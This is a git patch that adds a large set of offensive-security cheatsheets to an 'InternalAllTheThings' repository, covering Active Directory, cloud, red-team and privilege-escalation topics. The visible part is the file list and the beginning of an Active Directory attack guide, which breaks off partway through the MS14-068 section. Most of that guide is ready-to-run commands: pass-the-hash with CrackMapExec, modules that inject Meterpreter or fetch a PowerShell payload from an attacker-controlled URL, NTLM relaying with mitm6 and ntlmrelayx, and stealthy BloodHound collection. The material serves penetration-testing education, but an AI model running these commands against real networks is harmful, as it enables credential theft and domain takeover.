From 53dd66c6e34ee8daba08ccefb929f5f6cc88f837 Mon Sep 17 00:00:00 2001
From: Swissky <12152583+swisskyrepo@users.noreply.github.com>
Date: Fri, 17 Nov 2023 12:56:44 +0100
Subject: [PATCH] PATT Migration - v0.1
---
docs/README.md | 21 +-
.../Active Directory Attack.md | 4501 +++++++++++++++++
docs/cloud/C.md | 1 -
docs/cloud/aws/Cloud - AWS Pentest.md | 2410 +++++++++
docs/cloud/aws/todo.md | 1 +
docs/cloud/azure/Cloud - Azure Pentest.md | 1230 +++++
.../{test/B.md => azure/access-and-token.md} | 0
docs/cloud/azure/azure-services.md | 0
.../cloud/{test/A.md => azure/enumeration.md} | 0
.../Cobalt Strike - Cheatsheet.md | 491 ++
.../Metasploit - Cheatsheet.md | 234 +
docs/containers/Container - Docker Pentest.md | 250 +
.../Container - Kubernetes Pentest.md | 67 +
.../Methodology and enumeration.md | 149 +
docs/methodology/Vulnerability Reports.md | 52 +
docs/pentest/Bind Shell Cheatsheet.md | 95 +
docs/pentest/Escape Breakout.md | 152 +
docs/pentest/Hash Cracking.md | 169 +
docs/pentest/Linux - Privilege Escalation.md | 832 +++
docs/pentest/MSSQL Server - Cheatsheet.md | 676 +++
docs/pentest/Miscellaneous - Tricks.md | 27 +
docs/pentest/Network Discovery.md | 256 +
docs/pentest/Network Pivoting Techniques.md | 503 ++
docs/pentest/Powershell - Cheatsheet.md | 333 ++
docs/pentest/Reverse Shell Cheatsheet.md | 620 +++
docs/pentest/Source Code Management.md | 133 +
.../pentest/Windows - Privilege Escalation.md | 1536 ++++++
docs/redteam/HTML Smuggling.md | 43 +
docs/redteam/Linux - Evasion.md | 120 +
docs/redteam/Linux - Persistence.md | 237 +
docs/redteam/Office - Attacks.md | 747 +++
docs/redteam/Windows - AMSI Bypass.md | 778 +++
docs/redteam/Windows - DPAPI.md | 100 +
docs/redteam/Windows - Defenses.md | 421 ++
.../redteam/Windows - Download and Execute.md | 122 +
docs/redteam/Windows - Mimikatz.md | 318 ++
docs/redteam/Windows - Persistence.md | 629 +++
docs/redteam/Windows - Using credentials.md | 394 ++
docs/redteam/attack-surface-enumeration.md | 203 +
docs/redteam/initial-access.md | 190 +
40 files changed, 19039 insertions(+), 2 deletions(-)
create mode 100644 docs/active-directory/Active Directory Attack.md
delete mode 100644 docs/cloud/C.md
create mode 100644 docs/cloud/aws/Cloud - AWS Pentest.md
create mode 100644 docs/cloud/aws/todo.md
create mode 100644 docs/cloud/azure/Cloud - Azure Pentest.md
rename docs/cloud/{test/B.md => azure/access-and-token.md} (100%)
create mode 100644 docs/cloud/azure/azure-services.md
rename docs/cloud/{test/A.md => azure/enumeration.md} (100%)
create mode 100644 docs/command-control/Cobalt Strike - Cheatsheet.md
create mode 100644 docs/command-control/Metasploit - Cheatsheet.md
create mode 100644 docs/containers/Container - Docker Pentest.md
create mode 100644 docs/containers/Container - Kubernetes Pentest.md
create mode 100644 docs/methodology/Methodology and enumeration.md
create mode 100644 docs/methodology/Vulnerability Reports.md
create mode 100644 docs/pentest/Bind Shell Cheatsheet.md
create mode 100644 docs/pentest/Escape Breakout.md
create mode 100644 docs/pentest/Hash Cracking.md
create mode 100644 docs/pentest/Linux - Privilege Escalation.md
create mode 100644 docs/pentest/MSSQL Server - Cheatsheet.md
create mode 100644 docs/pentest/Miscellaneous - Tricks.md
create mode 100644 docs/pentest/Network Discovery.md
create mode 100644 docs/pentest/Network Pivoting Techniques.md
create mode 100644 docs/pentest/Powershell - Cheatsheet.md
create mode 100644 docs/pentest/Reverse Shell Cheatsheet.md
create mode 100644 docs/pentest/Source Code Management.md
create mode 100644 docs/pentest/Windows - Privilege Escalation.md
create mode 100644 docs/redteam/HTML Smuggling.md
create mode 100644 docs/redteam/Linux - Evasion.md
create mode 100644 docs/redteam/Linux - Persistence.md
create mode 100644 docs/redteam/Office - Attacks.md
create mode 100644 docs/redteam/Windows - AMSI Bypass.md
create mode 100644 docs/redteam/Windows - DPAPI.md
create mode 100644 docs/redteam/Windows - Defenses.md
create mode 100644 docs/redteam/Windows - Download and Execute.md
create mode 100644 docs/redteam/Windows - Mimikatz.md
create mode 100644 docs/redteam/Windows - Persistence.md
create mode 100644 docs/redteam/Windows - Using credentials.md
create mode 100644 docs/redteam/attack-surface-enumeration.md
create mode 100644 docs/redteam/initial-access.md
diff --git a/docs/README.md b/docs/README.md
index dd6974f..0176c2e 100644
--- a/docs/README.md
+++ b/docs/README.md
@@ -1 +1,20 @@
-# Welcome
\ No newline at end of file
+# InternalAllTheThings
+
+Active Directory and Internal Pentest Cheatsheets
+
+
+
+
+
+
+
+đ Documentation
+-----
+
+TODO
+
+
+đ¨âđť Contributions
+-----
+
+TODO
\ No newline at end of file
diff --git a/docs/active-directory/Active Directory Attack.md b/docs/active-directory/Active Directory Attack.md
new file mode 100644
index 0000000..a9b5d5b
--- /dev/null
+++ b/docs/active-directory/Active Directory Attack.md
@@ -0,0 +1,4501 @@
+# Active Directory Attacks
+
+## Summary
+
+- [Active Directory Attacks](#active-directory-attacks)
+ - [Summary](#summary)
+ - [Tools](#tools)
+ - [Kerberos Clock Synchronization](#kerberos-clock-synchronization)
+ - [Active Directory Recon](#active-directory-recon)
+ - [Using BloodHound](#using-bloodhound)
+ - [Using PowerView](#using-powerview)
+ - [Using AD Module](#using-ad-module)
+ - [From CVE to SYSTEM shell on DC](#from-cve-to-system-shell-on-dc)
+ - [MS14-068 Checksum Validation](#ms14-068-checksum-validation)
+ - [ZeroLogon](#zerologon)
+ - [PrintNightmare](#printnightmare)
+ - [samAccountName spoofing](#samaccountname-spoofing)
+ - [Open Shares](#open-shares)
+ - [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
+ - [SCF Files](#scf-files)
+ - [URL Files](#url-files)
+ - [Windows Library Files](#windows-library-files)
+ - [Windows Search Connectors Files](#windows-search-connectors-files)
+ - [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
+ - [Exploit Group Policy Objects GPO](#exploit-group-policy-objects-gpo)
+ - [Find vulnerable GPO](#find-vulnerable-gpo)
+ - [Abuse GPO with SharpGPOAbuse](#abuse-gpo-with-sharpgpoabuse)
+ - [Abuse GPO with PowerGPOAbuse](#abuse-gpo-with-powergpoabuse)
+ - [Abuse GPO with pyGPOAbuse](#abuse-gpo-with-pygpoabuse)
+ - [Abuse GPO with PowerView](#abuse-gpo-with-powerview)
+ - [Abuse GPO with StandIn](#abuse-gpo-with-standin)
+ - [Dumping AD Domain Credentials](#dumping-ad-domain-credentials)
+ - [DCSync Attack](#dcsync-attack)
+ - [Volume Shadow Copy](#volume-shadow-copy)
+ - [Extract hashes from ntds.dit](#extract-hashes-from-ntdsdit)
+ - [Using Mimikatz sekurlsa](#using-mimikatz-sekurlsa)
+ - [Crack NTLM hashes with hashcat](#crack-ntlm-hashes-with-hashcat)
+ - [NTDS Reversible Encryption](#ntds-reversible-encryption)
+ - [User Hunting](#user-hunting)
+ - [Password spraying](#password-spraying)
+ - [Kerberos pre-auth bruteforcing](#kerberos-pre-auth-bruteforcing)
+ - [Spray a pre-generated passwords list](#spray-a-pre-generated-passwords-list)
+ - [Spray passwords against the RDP service](#spray-passwords-against-the-rdp-service)
+ - [BadPwdCount attribute](#badpwdcount-attribute)
+ - [Password in AD User comment](#password-in-ad-user-comment)
+ - [Password of Pre-Created Computer Account](#password-of-pre-created-computer-account)
+ - [Reading LAPS Password](#reading-laps-password)
+ - [Reading GMSA Password](#reading-gmsa-password)
+ - [Forging Golden GMSA](#forging-golden-gmsa)
+ - [Kerberos Tickets](#kerberos-tickets)
+ - [Dump Kerberos Tickets](#dump-kerberos-tickets)
+ - [Replay Kerberos Tickets](#replay-kerberos-tickets)
+ - [Convert Kerberos Tickets](#convert-kerberos-tickets)
+ - [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets)
+ - [Using Mimikatz](#using-mimikatz)
+ - [Using Meterpreter](#using-meterpreter)
+ - [Using a ticket on Linux](#using-a-ticket-on-linux)
+ - [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets)
+ - [Pass-the-Ticket Diamond Tickets](#pass-the-ticket-diamond-tickets)
+ - [Pass-the-Ticket Sapphire Tickets](#pass-the-ticket-sapphire-tickets)
+ - [Kerberoasting](#kerberoasting)
+ - [KRB_AS_REP Roasting](#krb_as_rep-roasting)
+ - [Kerberoasting w/o domain account](#kerberoasting-wo-domain-account)
+ - [CVE-2022-33679](#cve-2022-33679)
+ - [Timeroasting](#timeroasting)
+ - [Pass-the-Hash](#pass-the-hash)
+ - [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
+ - [Using impacket](#using-impacket)
+ - [Using Rubeus](#using-rubeus)
+ - [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes)
+ - [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes)
+ - [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying)
+ - [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection)
+ - [LDAP signing not required and LDAP channel binding disabled](#ldap-signing-not-required-and-ldap-channel-binding-disabled)
+ - [SMB Signing Disabled and IPv4](#smb-signing-disabled-and-ipv4)
+ - [SMB Signing Disabled and IPv6](#smb-signing-disabled-and-ipv6)
+ - [Drop the MIC](#drop-the-mic)
+ - [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384)
+ - [RemotePotato0 DCOM DCE RPC relay](#remotepotato0-dcom-dce-rpc-relay)
+ - [DNS Poisonning - Relay delegation with mitm6](#dns-poisonning---relay-delegation-with-mitm6)
+ - [Relaying with WebDav Trick](#relaying-with-webdav-trick)
+ - [Active Directory Certificate Services](#active-directory-certificate-services)
+ - [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
+ - [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
+ - [ESC3 - Misconfigured Enrollment Agent Templates](#esc3---misconfigured-enrollment-agent-templates)
+ - [ESC4 - Access Control Vulnerabilities](#esc4---access-control-vulnerabilities)
+ - [ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 ](#esc6---editf_attributesubjectaltname2)
+ - [ESC7 - Vulnerable Certificate Authority Access Control](#esc7---vulnerable-certificate-authority-access-control)
+ - [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
+ - [ESC9 - No Security Extension](#esc9---no-security-extension)
+ - [ESC11 - Relaying NTLM to ICPR](#esc11---relaying-ntlm-to-icpr)
+ - [Certifried CVE-2022-26923](#certifried-cve-2022-26923)
+ - [Pass-The-Certificate](#pass-the-certificate)
+ - [UnPAC The Hash](#unpac-the-hash)
+ - [Shadow Credentials](#shadow-credentials)
+ - [Active Directory Groups](#active-directory-groups)
+ - [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
+ - [Abusing DNS Admins Group](#abusing-dns-admins-group)
+ - [Abusing Schema Admins Group](#abusing-schema-admins-group)
+ - [Abusing Backup Operators Group](#abusing-backup-operators-group)
+ - [Active Directory Federation Services](#active-directory-federation-services)
+ - [ADFS - Golden SAML](#adfs---golden-saml)
+ - [Active Directory Integrated DNS](#active-directory-integrated-dns)
+ - [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
+ - [GenericAll](#genericall)
+ - [GenericWrite](#genericwrite)
+ - [GenericWrite and Remote Connection Manager](#genericwrite-and-remote-connection-manager)
+ - [WriteDACL](#writedacl)
+ - [WriteOwner](#writeowner)
+ - [ReadLAPSPassword](#readlapspassword)
+ - [ReadGMSAPassword](#readgmsapassword)
+ - [ForceChangePassword](#forcechangepassword)
+ - [DCOM Exploitation](#dcom-exploitation)
+ - [DCOM via MMC Application Class](#dcom-via-mmc-application-class)
+ - [DCOM via Excel](#dcom-via-excel)
+ - [DCOM via ShellExecute](#dcom-via-shellexecute)
+ - [Trust relationship between domains](#trust-relationship-between-domains)
+ - [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
+ - [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket)
+ - [Privileged Access Management (PAM) Trust](#privileged-access-management-pam-trust)
+ - [Kerberos Unconstrained Delegation](#kerberos-unconstrained-delegation)
+ - [SpoolService Abuse with Unconstrained Delegation](#spoolservice-abuse-with-unconstrained-delegation)
+ - [MS-EFSRPC Abuse with Unconstrained Delegation](#ms---efsrpc-abuse-with-unconstrained-delegation)
+ - [Kerberos Constrained Delegation](#kerberos-constrained-delegation)
+ - [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
+ - [Kerberos Service for User Extension](#kerberos-service-for-user-extension)
+ - [S4U2self - Privilege Escalation](#s4u2self---privilege-escalation)
+ - [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
+ - [PrivExchange attack](#privexchange-attack)
+ - [SCCM Deployment](#sccm-deployment)
+ - [SCCM Network Access Accounts](#sccm-network-access-accounts)
+ - [SCCM Shares](#sccm-shares)
+ - [WSUS Deployment](#wsus-deployment)
+ - [RODC - Read Only Domain Controller](#rodc---read-only-domain-controller)
+ - [RODC Golden Ticket](#rodc-golden-ticket)
+ - [RODC Key List Attack](#rodc-key-list-attack)
+ - [RODC Computer Object](#rodc-computer-object)
+ - [PXE Boot image attack](#pxe-boot-image-attack)
+ - [DSRM Credentials](#dsrm-credentials)
+ - [DNS Reconnaissance](#dns-reconnaissance)
+ - [Linux Active Directory](#linux-active-directory)
+ - [CCACHE ticket reuse from /tmp](#ccache-ticket-reuse-from-tmp)
+ - [CCACHE ticket reuse from keyring](#ccache-ticket-reuse-from-keyring)
+ - [CCACHE ticket reuse from SSSD KCM](#ccache-ticket-reuse-from-sssd-kcm)
+ - [CCACHE ticket reuse from keytab](#ccache-ticket-reuse-from-keytab)
+ - [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etckrb5keytab)
+ - [Extract accounts from /etc/sssd/sssd.conf](#extract-accounts-from-etcsssdsssdconf)
+ - [References](#references)
+
+## Tools
+
+* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
+* [Responder](https://github.com/lgandx/Responder)
+* [InveighZero](https://github.com/Kevin-Robertson/InveighZero)
+* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
+* [Ranger](https://github.com/funkandwagnalls/ranger)
+* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
+* [CrackMapExec](https://github.com/mpgn/CrackMapExec)
+
+ ```powershell
+ # use the latest release, CME is now a binary packaged will all its dependencies
+ root@payload$ wget https://github.com/mpgn/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip
+
+ # execute cme (smb, winrm, mssql, ...)
+ root@payload$ cme smb -L
+ root@payload$ cme smb -M name_module -o VAR=DATA
+ root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
+ root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
+ root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
+ root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
+ root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
+ root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
+ root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
+ root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
+ root@payload$ cme mimikatz --server http --server-port 80
+ ```
+
+* [Mitm6](https://github.com/fox-it/mitm6.git)
+
+ ```bash
+ git clone https://github.com/fox-it/mitm6.git && cd mitm6
+ pip install .
+ mitm6 -d lab.local
+ ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
+ # -wh: Server hosting WPAD file (Attackerâs IP)
+ # -t: Target (You cannot relay credentials to the same device that youâre spoofing)
+ # -i: open an interactive shell
+ ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
+ ```
+
+* [ADRecon](https://github.com/sense-of-security/ADRecon)
+
+ ```powershell
+ .\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
+ ```
+
+* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)
+
+ ```powershell
+ powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
+ ```
+
+* [Ping Castle](https://github.com/vletoux/pingcastle)
+
+ ```powershell
+ pingcastle.exe --healthcheck --server --user --password --advanced-live --nullsession
+ pingcastle.exe --healthcheck --server domain.local
+ pingcastle.exe --graph --server domain.local
+ pingcastle.exe --scanner scanner_name --server domain.local
+ available scanners are:aclcheck,antivirus,computerversion,foreignusers,laps_bitlocker,localadmin,nullsession,nullsession-trust,oxidbindings,remote,share,smb,smb3querynetwork,spooler,startup,zerologon,computers,users
+ ```
+
+* [Kerbrute](https://github.com/ropnop/kerbrute)
+
+ ```powershell
+ ./kerbrute passwordspray -d
+ ```
+
+* [Rubeus](https://github.com/GhostPack/Rubeus)
+
+ ```powershell
+ Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
+ Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
+ Rubeus.exe klist [/luid:LOGINID]
+ Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
+ ```
+
+* [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab)
+ ```powershell
+ New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
+ Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'
+ Install-Lab
+ Show-LabDeploymentSummary
+ ```
+
+
+## Kerberos Clock Synchronization
+
+In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is `5 minutes`, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.
+
+
+* Detect clock skew automatically with `nmap`
+ ```powershell
+ $ nmap -sV -sC 10.10.10.10
+ clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
+ ```
+* Compute yourself the difference between the clocks
+ ```ps1
+ nmap -sT 10.10.10.10 -p445 --script smb2-time -vv
+ ```
+* Fix #1: Modify your clock
+ ```ps1
+ sudo date -s "14 APR 2015 18:25:16" # Linux
+ net time /domain /set # Windows
+ ```
+* Fix #2: Fake your clock
+ ```ps1
+ faketime -f '+8h' date
+ ```
+
+
+## Active Directory Recon
+
+### Using BloodHound
+
+Use the correct collector
+* AzureHound for Azure Active Directory
+* SharpHound for local Active Directory
+* RustHound for local Active Directory
+
+* use [BloodHoundAD/AzureHound](https://github.com/BloodHoundAD/AzureHound) (more info: [Cloud - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md#azure-recon-tools))
+
+* use [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
+ ```powershell
+ # run the collector on the machine using SharpHound.exe
+ # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
+ # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
+ .\SharpHound.exe -c all -d active.htb --searchforest
+ .\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
+ .\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)
+
+ .\SharpHound.exe -c all --LdapUsername --LdapPassword --JSONFolder
+ .\SharpHound.exe -c all --LdapUsername --LdapPassword --domaincontroller 10.10.10.100 -d active.htb
+ .\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
+
+ # or run the collector on the machine using Powershell
+ # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
+ # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
+ Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
+ Invoke-BloodHound -CollectionMethod All -LDAPUser -LDAPPass -OutputDirectory
+
+ # or remotely via BloodHound Python
+ # https://github.com/fox-it/BloodHound.py
+ pip install bloodhound
+ bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
+
+ # or locally/remotely from an ADExplorer snapshot from SysInternals (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions)
+ # https://github.com/c3c/ADExplorerSnapshot.py
+ pip3 install --user .
+ ADExplorerSnapshot.py -o <*.json output folder path>
+ ```
+* Collect more data for certificates exploitation using Certipy
+ ```ps1
+ certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
+ certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
+ certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123
+ ```
+* use [OPENCYBER-FR/RustHound](https://github.com/OPENCYBER-FR/RustHound)
+ ```ps1
+ # Windows with GSSAPI session
+ rusthound.exe -d domain.local --ldapfqdn domain
+ # Windows/Linux simple bind connection username:password
+ rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z
+ # Linux with username:password and ADCS module for @ly4k BloodHound version
+ rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z
+ ```
+
+Then import the zip/json files into the Neo4J database and query them.
+
+```powershell
+root@payload$ apt install bloodhound
+
+# start BloodHound and the database
+root@payload$ neo4j console
+# or use docker
+root@payload$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/bloodhound -v $(pwd)/neo4j:/data neo4j:4.4-community
+
+root@payload$ ./bloodhound --no-sandbox
+Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
+```
+
+You can add some custom queries like :
+* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json)
+* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json)
+* [BloodHound Custom Queries from Exegol - @ShutdownRepo](https://raw.githubusercontent.com/ShutdownRepo/Exegol/master/sources/bloodhound/customqueries.json)
+* [Certipy BloodHound Custom Queries from ly4k](https://github.com/ly4k/Certipy/blob/main/customqueries.json)
+
+Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.
+
+
+### Using PowerView
+
+- **Get Current Domain:** `Get-NetDomain`
+- **Enum Other Domains:** `Get-NetDomain -Domain `
+- **Get Domain SID:** `Get-DomainSID`
+- **Get Domain Policy:**
+ ```powershell
+ Get-DomainPolicy
+
+ #Will show us the policy configurations of the Domain about system access or kerberos
+ (Get-DomainPolicy)."system access"
+ (Get-DomainPolicy)."kerberos policy"
+ ```
+- **Get Domain Controlers:**
+ ```powershell
+ Get-NetDomainController
+ Get-NetDomainController -Domain
+ ```
+- **Enumerate Domain Users:**
+ ```powershell
+ Get-NetUser
+ Get-NetUser -SamAccountName
+ Get-NetUser | select cn
+ Get-UserProperty
+
+ #Check last password change
+ Get-UserProperty -Properties pwdlastset
+
+ #Get a specific "string" on a user's attribute
+ Find-UserField -SearchField Description -SearchTerm "wtver"
+
+ #Enumerate user logged on a machine
+ Get-NetLoggedon -ComputerName
+
+ #Enumerate Session Information for a machine
+ Get-NetSession -ComputerName
+
+ #Enumerate domain machines of the current/specified domain where specific users are logged into
+ Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
+ ```
+- **Enum Domain Computers:**
+ ```powershell
+ Get-NetComputer -FullData
+ Get-DomainGroup
+
+ #Enumerate Live machines
+ Get-NetComputer -Ping
+ ```
+- **Enum Groups and Group Members:**
+ ```powershell
+ Get-NetGroupMember -GroupName "" -Domain
+
+ #Enumerate the members of a specified group of the domain
+ Get-DomainGroup -Identity | Select-Object -ExpandProperty Member
+
+ #Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
+ Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
+ ```
+- **Enumerate Shares**
+ ```powershell
+ #Enumerate Domain Shares
+ Find-DomainShare
+
+ #Enumerate Domain Shares the current user has access
+ Find-DomainShare -CheckShareAccess
+ ```
+- **Enum Group Policies:**
+ ```powershell
+ Get-NetGPO
+
+ # Shows active Policy on specified machine
+ Get-NetGPO -ComputerName
+ Get-NetGPOGroup
+
+ #Get users that are part of a Machine's local Admin group
+ Find-GPOComputerAdmin -ComputerName
+ ```
+- **Enum OUs:**
+ ```powershell
+ Get-NetOU -FullData
+ Get-NetGPO -GPOname
+ ```
+- **Enum ACLs:**
+ ```powershell
+ # Returns the ACLs associated with the specified account
+ Get-ObjectAcl -SamAccountName -ResolveGUIDs
+ Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
+
+ #Search for interesting ACEs
+ Invoke-ACLScanner -ResolveGUIDs
+
+ #Check the ACLs associated with a specified path (e.g smb share)
+ Get-PathAcl -Path "\\Path\Of\A\Share"
+ ```
+- **Enum Domain Trust:**
+ ```powershell
+ Get-NetDomainTrust
+ Get-NetDomainTrust -Domain
+ ```
+- **Enum Forest Trust:**
+ ```powershell
+ Get-NetForestDomain
+ Get-NetForestDomain Forest
+
+ #Domains of Forest Enumeration
+ Get-NetForestDomain
+ Get-NetForestDomain Forest
+
+ #Map the Trust of the Forest
+ Get-NetForestTrust
+ Get-NetDomainTrust -Forest
+ ```
+- **User Hunting:**
+ ```powershell
+ #Finds all machines on the current domain where the current user has local admin access
+ Find-LocalAdminAccess -Verbose
+
+ #Find local admins on all machines of the domain:
+ Invoke-EnumerateLocalAdmin -Verbose
+
+ #Find computers were a Domain Admin OR a specified user has a session
+ Invoke-UserHunter
+ Invoke-UserHunter -GroupName "RDPUsers"
+ Invoke-UserHunter -Stealth
+
+ #Confirming admin access:
+ Invoke-UserHunter -CheckAccess
+ ```
+ :heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:** \
+ I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->
+ Profit!
+
+ [PowerView 3.0 Tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)
+
+### Using AD Module
+
+- **Get Current Domain:** `Get-ADDomain`
+- **Enum Other Domains:** `Get-ADDomain -Identity `
+- **Get Domain SID:** `Get-DomainSID`
+- **Get Domain Controlers:**
+
+ ```powershell
+ Get-ADDomainController
+ Get-ADDomainController -Identity
+ ```
+
+- **Enumerate Domain Users:**
+ ```powershell
+ Get-ADUser -Filter * -Identity -Properties *
+
+ #Get a specific "string" on a user's attribute
+ Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
+ ```
+- **Enum Domain Computers:**
+ ```powershell
+ Get-ADComputer -Filter * -Properties *
+ Get-ADGroup -Filter *
+ ```
+- **Enum Domain Trust:**
+ ```powershell
+ Get-ADTrust -Filter *
+ Get-ADTrust -Identity
+ ```
+- **Enum Forest Trust:**
+ ```powershell
+ Get-ADForest
+ Get-ADForest -Identity
+
+ #Domains of Forest Enumeration
+ (Get-ADForest).Domains
+ ```
+ - **Enum Local AppLocker Effective Policy:**
+ ```powershell
+ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
+ ```
+
+### Other Interesting Commands
+
+- **Find Domain Controllers**
+ ```ps1
+ nslookup domain.com
+ nslookup -type=srv _ldap._tcp.dc._msdcs..com
+ nltest /dclist:domain.com
+ Get-ADDomainController -filter * | Select-Object name
+ gpresult /r
+ $Env:LOGONSERVER
+ echo %LOGONSERVER%
+ ```
+
+
+## From CVE to SYSTEM shell on DC
+
+> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
+
+
+### MS14-068 Checksum Validation
+
+This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.
+
+* RPCClient
+ ```powershell
+ rpcclient $> lookupnames john.smith
+ john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
+ ```
+* WMI
+ ```powershell
+ wmic useraccount get name,sid
+ Administrator S-1-5-21-3415849876-833628785-5197346142-500
+ Guest S-1-5-21-3415849876-833628785-5197346142-501
+ Administrator S-1-5-21-297520375-2634728305-5197346142-500
+ Guest S-1-5-21-297520375-2634728305-5197346142-501
+ krbtgt S-1-5-21-297520375-2634728305-5197346142-502
+ lambda S-1-5-21-297520375-2634728305-5197346142-1110
+ ```
+* Powerview
+ ```powershell
+ Convert-NameToSid high-sec-corp.localkrbtgt
+ S-1-5-21-2941561648-383941485-1389968811-502
